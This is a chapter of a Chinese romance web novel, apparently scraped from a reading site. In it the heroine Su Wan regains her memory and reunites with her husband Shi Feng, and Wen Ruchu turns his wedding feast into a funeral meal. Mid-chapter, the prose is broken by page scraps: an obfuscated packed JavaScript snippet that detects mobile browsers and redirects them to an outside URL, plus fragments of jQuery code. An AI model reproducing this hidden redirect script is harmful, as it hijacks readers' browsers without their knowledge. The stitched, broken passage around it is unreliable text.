默认冷灰
24号文字
方正启体

147. 重逢

作者:紫苏九月本书字数:K更新时间:
    良辰乐事古难并,春日偏能惹恨长。满庭无路,落花纷纷,草长莺飞三月天。


    慧明法王眼见大势已去,惊得魂飞魄散,也顾不得颜面风仪,撩起金灿灿的僧袍,蹬着牦牛皮靴子,“哒哒哒”就往外狂奔。


    哪里还有半点佛门宗师的气象?既无金莲托足,也无佛光普照,分明一个胖喇嘛,走起路来呼哧带喘,活像只偷吃供品的老鼠精。


    先前宝相庄严,口诵佛经,风光如佛祖下凡,不过都是障眼幻术罢了。当苏绾现出真正的神迹之后,任何邪门歪道都会被打回原形,恢复俗不可耐的本相。


    然而他才刚跑出两步,“啪”的一声脆响,不知从哪冒出来一根打狗棍,直击他的小腿肚。


    “哎哟,我佛慈悲!”慧明惨叫着扑街而倒,鼻青脸肿趴在地上,摔了个结结实实的狗啃屎。


    只见那老道士,斜挎着个破葫芦,顶着鸡窝似的乱发,晃晃悠悠,踱上前来。他叉腰站定,一脚踩住慧明的背脊,摇头晃脑道:“呦呵,你不是‘普度众生’的法师吗?怎么,还想脚底抹油一溜了之?”


    说罢,又一捋花白胡子,讥诮道:“你那宝贝徒弟化作一缕清风,被净化得连骨头渣子都没剩下。你这个做师父的,倒是跑得比谁都快。可惜啊,你跑得了庙,跑不了和尚。”


    慧明挣扎道:“冤枉啊!贫僧清修一世,从未做过亏心事。温念那逆徒背主忘恩,贫僧与他割袍断义,绝无半点瓜葛。”


    他一边喊,一边瞄准门口蠢蠢欲动,眼神那叫一个不死心。


    大理寺卿邵云礼不疾不徐地走上前来,“全京城的达官贵人都亲眼所见,是你,亲手救起了温念那反贼。”


    他盯着慧明,冷冷一笑:“如今温念不知所踪,你这做师父的,焉知不是使了障眼法?想撇清关系,未免太迟了。”


    说罢大理寺卿衣袖一拂,语气森然:“此事干系重大,有什么话,衙门过堂时再说吧。”


    邵云礼手一抬,立刻有两名兵士冲上前,将胖和尚五花大绑,拖得像个年节猪头,扛着就走。


    一路上,慧明还在大呼小叫:“冤枉啊,我只是一个普普通通的打工喇嘛,我什么都不知道啊。”


    众人:呵。


    在场观众只能看个大致的幻相,两个老头打得不可开交,温念突然窜出来偷袭苏绾,结果被时枫割了喉。后来不知怎地,温念消失无影踪。


    有人说“他化成乌鸦飞走了”,有人说“他变成老鼠钻了地洞”,还有人说“他化身成为咱们当中的某个人”。


    一时众说纷纭。


    大理寺卿邵云礼连忙道:“假冒温如初之人,已趁乱遁逃,但他身负重伤,必不久于人世,各位无须担忧。都散了,都归了。”


    众人愣了一阵,都觉得有些无滋无味。一场喧嚣谢了幕,却又好像刚刚开始。


    苏绾静静站在原地,脚下金莲已散去。她的神情安然,恍若初雪覆山。一双星眸如两泓古井,无波无澜,无喜无悲。


    唯有一头齐肩短发,那一两缕青丝随风拂动,鉴证了最后时刻的紧张对峙。


    时枫看着她,心头一紧。


    他在梦里重复了千万遍,他们在万众瞩目之下重逢的时刻,却都不似眼前这般古怪离奇。


    “阿绾。”他低声唤道。


    苏绾闻声回首,茫然地望了他一眼。


    那一眼清冷而孤寂,如同人海茫茫初见,陌路人偶然擦肩。


    时枫胸口骤然发紧,像是被钝刀生生割裂开一角。他向前一步,声线颤抖着,“你……不认得我了吗?”


    “我是……你的榆白哥哥啊。”他强撑着扯出一个笑容,压不住眼底的慌乱。


    榆白哥哥?


    苏绾的面容浮现出迷惘之色,脑海如有千军万马踏过,混沌又压抑,翻来覆去找不到关于这个怪异称呼的蛛丝马迹。


    她不懂为何心口悸动,也不知为何眼眶发热。唯有身体某处的“羞耻”酸痛提醒着她,这个男人……似乎并不是完全陌生。


    时枫彻底慌了。


    他疾步上前两步,却在临近刹那顿住。


    他犹豫着,迟疑着,不敢再靠近半寸。


    怕自己太过莽撞,吓着她;又怕再迟一步,她会永远从他眼前消失。


    昔日叱咤沙场的大将军,此刻踌躇不决,在她面前失了锋芒,也失了胆气。


    男人深吸一口气,终是鼓起勇气,轻轻握住她的手。


    他咽了口唾沫,嘶哑着嗓子艰难道:


    “你是我的……妻。”


    天地瞬间停滞。


    连风也静了,连光都缓了。


    纤细素白的指间,赫然戴着一枚墨玉金戒。阳光照射下,墨玉闪着耀眼微光。


    苏绾垂下眼帘,视线落在指间,第一次真正看清了那枚戒指的模样。


    她觉得很有趣,指腹轻轻摩挲着那道温润的弧线,一点点描摹。


    忽然之间,一股温热流转而上,从指尖漫漶至心头。


    记忆奔涌如潮,那些被封印在心底的片段,那些哭过笑过爱过恨过的时刻,如洪水倾闸而泻。


    苏绾身子颤了颤,唇瓣微张,一时忘了如何开口。


    良久,终于吐出两个字:


    “……夫君。”


    云开日现,尘缘再续。


    两个字落地。


    霎时间,压在时枫心底的千山万壑,尽数崩塌。整个人仿佛被雷霆击顶,眼底陡然泛起潮涌的热意,连呼吸都失了节奏。


    “阿绾……”声音颤得厉害。


    他握着她的手,所有压抑的情绪,轰然决堤。他将她一把抱进怀里,用尽全身力气将她紧紧圈住,像要将她狠狠揉进骨血,不容她有丝毫挣脱的可能。


    “你记得我……”


    “你终于肯叫我夫君了……”


    他将头埋进她肩窝,语无伦次,像孩子,又像疯子。


    “我以为这辈子都等不到你了,阿绾。”


    “我怕你忘了我,怕你再也不回来了,怕你……死在我面前,我什么都不怕,只要你留在我身边。”


    话未说完,男人哽住了。


    堂堂镇国大将军,竟在此刻像个迷路的孩子般,泪水如断线的珠子,无声地落在苏绾的肩头。


    苏绾静静听他哭,感受那滚烫的泪水一滴一滴落进自己皮肤,像从心口里烧出来的火,缓慢又灼烈。


    她抬手覆上他的后背,轻轻拍着,好似母亲安抚幼童。


    良久,她低声道:“……榆白。”


    众人望着相拥的二人,有人悄然拭泪,也有人唏嘘不已。


    “如果我没有记错,今日是温大人的婚礼吧?”


    “是啊,昔年温如初曾与苏绾定过婚,结果成全了旁人……”


    “唉,可惜啊可惜,一对儿原本该成的鸳鸯……”


    温如初站在人群稍后的台阶上,风吹起他的袍角,也拂过眼角的灰烬。


    他静静睇着苏绾,神情平静如水。没说一句话,也没挪动半步。


    左手捏着一只银镯,是他生母留下的遗物。从前他没想过要送给任何人,现在他没有机会戴在她的手腕。


    风吹得更紧,吹皱了心头那点执念与落寞。他曾得她一笑,受她一诺,还是没能走到她的身边。


    他与她,终究有缘无分。


    而今悲喜已不能言语,温如初抬头看了看天,像是在确认天穹之下,还有没有留给自己最后的一线光。


    耳边响起远舟粗哑的嗓音:“主子爷,后院发现了老爷和夫人的遗骸,他们……”


    温如初一愣,继而点了下头,“先安置在冰室里,稍后我会请仵作来验尸。”


    他真是个大大的不孝子。


    既保不住父母性命,也没得姻缘娶妻生子。


    浑浑噩噩大半生,到头来落得一无所有。


    他不知自己该恨谁。


    温念也好,命运也罢,或是那个一度贪恋权位,不知进退的自己。


    礼部尚书徐大人颤巍巍地走上前,两只干枯老手攥住温如初的残废的右臂,含泪哭道:“温大人……你、你受苦啦!”


    徐尚书素来惜才,对温如初更是视如己出。之前他那不成器的小儿子徐引,因受老头偏宠小妾怂恿,竟动了贪墨供银的歪心思,招致杀身之祸,多亏了温如初出手相救。徐引侥幸逃过一劫,虽然这辈子官途尽毁,总好过脑袋分家,命丧黄泉。


    温念表面看似权倾朝野,实则树敌太多,根本不是阁老的对手。徐尚书隐隐觉得不对劲,多次委婉规劝温念,奈何对方根本听不进去。


    而今温念设宴大婚,诸多老臣以避嫌未至,唯独徐尚书为表心志,拄杖登门,只为支持他一贯看好的年轻后辈,结果目睹了一场惊天逆转的大戏。


    老头深深慨叹自责,叹自己老眼昏花,黑白不分,险些中了温念的邪门歪道。


    温如初赶忙将他扶住,神色满是愧疚,“是下官糊涂,识人不明,才让小人钻了空子,惹出这场祸乱。一切罪责,皆在我身。”


    众人凑上前,围在一旁嘘寒问暖,伤感之情蔓延开来。几位年纪大的官员甚至忍不住抽起鼻子,哭成了一片。


    唯有陆展元后知后觉地挠了挠头,皱着眉纳闷道:“哎?不对劲啊!”


    众人纷纷望向他。


    陆展元摊开两手,原地转了一圈,“这本该是温大人大婚的吉日,可现在新娘子认了别人做夫君。这、这可怎么办啊?算是逃婚,还是改嫁?”


    人群响起几声尴尬的干咳。


    温如初深吸一口气,朗声道:“其实,今日本就不该成亲。”


    “家父家母,皆死于温念之手,温府上下诸多亲信,几乎无一幸免。而今真相大白,是我温如初丧亲之后第一日,理应设灵堂,而非喜堂。”


    他低头自嘲道:“婚事热闹归热闹,终究不合人情。”


    “既如此,”温如初抬起左手,做邀请状,“还请诸位随我,以喜为丧,权当是为温家家主送上一程。”


    他又苦笑补了一句:“大厨房都备好了菜,不吃也浪费,不如就红事变白事,吃完席再走,也算圆满。”


    众人一愣,继而纷纷鼓掌。


    陆展元双手一拍,笑道:“行,那咱们就吃顿‘告别宴’,为温府上一世送终,为温大人的新生贺喜!”


    人群哄然,天光破云,落花无声,一场乱局,终告一段落。


    夜幕星河,苏府紫竹苑。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15701265|146123||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    风过竹林,叶影摇曳。灯笼映照,廊檐浮动着细碎的光影。白日喧嚣动荡告一段落,四周沉浸于一片祥和静谧气氛。


    苏绾换了身月白的中衣,坐在榻边,半垂着眼,齐肩短发略微凌乱。


    此刻,她显得有些不知所措,不为别的,只因为那个男人,死活不肯离开她的闺房。


    时枫双臂交叉,斜倚着床柱边,一副“天塌下来我也不走”的模样,脸皮厚得惊人。


    “阿绾。”他凑的近些,嬉皮笑脸道:“你真舍得赶我走?”


    苏绾偏头瞥了他一眼,眼角染了点粉红,像一朵出水芙蓉。


    “走……”她吐出一个字。


    她的身体还没完全恢复康健,只能断断续续说几个字。


    时枫耍起了无赖,“走什么?你要赶我走?怎么舍得!你叫我‘夫君’时,可不这样绝情。”


    “今晚我偏不走。”男人将耍赖进行到底。


    “你……”苏绾气得不理他,低头整理枕头。细白手指捏着锦被边角,一点点理直褶皱。


    耳根悄悄红了。


    时枫见状,会心一笑。


    他脱了靴子爬上塌,也不顾男女之别,山一样压向她的身子。


    将自己窝藏在心里的喜悦与幻想,狠狠一股脑倾述给她。


    竟还坏心眼地让她做比较,看他和之前有没有什么不一样。


    “本将军叉鱼的本领,天下第一!”


    风拔树根出,小别胜新婚。


    窗外竹影婆娑,屋内烛火跳动,一双影子斜斜落向屏风,精彩程度堪比最时兴的皮影戏。


    风停雨歇,万籁俱寂。


    时枫靠坐床头,怀里圈着苏绾。


    苏绾头枕在他肩窝,睫羽轻垂,发丝贴着他颈侧,轻痒得像温柔的梦。


    他垂眸看她,看得呆了,连眨眼都舍不得。


    “睡了?”他低声问。


    苏绾没答,伸出手指,在他掌心比划了一个“走”字。


    男人挑眉轻笑,反手握住她的手指,夸张语气道:“咱俩都到这份上了,你还要赶我走啊?”


    苏绾睁开眼,瞪了他一下,又懒懒合上眼,指尖在他掌心划着第二个字。


    “滚。”


    “哟,这个字笔画多。”时枫笑出声:“还没学会说话,就先学着骂人。你这是心口不一。”


    被人说中心声,苏绾轻“哼”一声,把脸埋进他的胸口,像只没脸见人的猫咪。


    时枫却不依不饶,将她从被子里捞出来,在她唇角亲了一下,又亲了亲耳垂,在她耳边吹气:“乖宝,你有没有很想我啊?”


    苏绾推他肩膀,力道轻得像猫儿拍枕,时枫顺势拦腰一圈,将她抱得更紧。


    “……好热。”苏绾抱怨。


    “那你别动。”他理直气壮地说,“动一下,我更热。”


    苏绾被他的无耻逗得笑了,笑声像一滴清泉落入夜色,软软的,轻轻的,勾得时枫心都酥了。


    男人咬着嘴唇道:“我可是日日夜夜,每分每秒都在想着你。”


    “过去这一整年以来,我无时无刻不在想着你,心里面都是你。”


    “我可没有骗人哦,即使失去了记忆,我的梦里,我的脑海里,我的心里,满满当当,全部装的都是你。”


    他俯身将她圈进怀里,额头贴着她额角,深情表白:“我的一生,只为你而活。”


    这个家伙向来少言寡语,如今不知怎么回事,好像打开了话匣子一般,表达感情炽烈真挚,动不动就敞开心扉,倾诉衷肠。


    苏绾微微仰头,眨着眼望着他,星眸里闪着微光。


    “我……也……”她的话语还很不连贯,但仅仅只字片语,足以心有灵犀一点通。


    时枫低头,在她眉心轻轻一吻。


    “你别急,慢慢说。”他温柔体贴道。


    “我……不……”此时此刻,苏绾心里也有无数的话语,想要对他诉说。可她转念一想,又觉得光阴不该被白白浪费。


    她想知道关于他更多的过往,而不是倾诉自己的委屈。


    “榆白……”她忽然轻唤,像是梦里呢喃。


    “嗯?”他低头看她。


    “……瘦了。”她抬手摸了摸他下颌,指腹触到一层胡茬。


    时枫愣了一下,继而将她额头摁向自己的下巴,故意拿胡茬扎她,“我这么瘦,还不都是因为你。你让我朝思暮想,辗转反侧,夜不成寐。你得补偿我!”


    “怎么……”她想着如何补偿他。


    谁知男人低低坏笑道:“就罚你每天陪我睡觉,期限是……一辈子。”


    苏绾愣了半天。


    “睡你(个大头鬼)……”


    她一边躲避对方的“胡渣暗器”,一边又紧紧抱住他,像一根柔韧的丝线,将两颗碎裂的心,一点点缝合到一起,永不分离。


    烛火寸寸烧尽,夜色温柔如水。


    来日方长。


    两人正腻歪着,窗外响起叩窗声,晴雷低声道:“爷,锦衣卫镇抚使李大人到了。”


    苏绾和时枫对视一眼。


    刚刚安稳的夜色,如水的甜意,还未彻底沉进梦里,就被这一声惊喝,打碎了涟漪。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)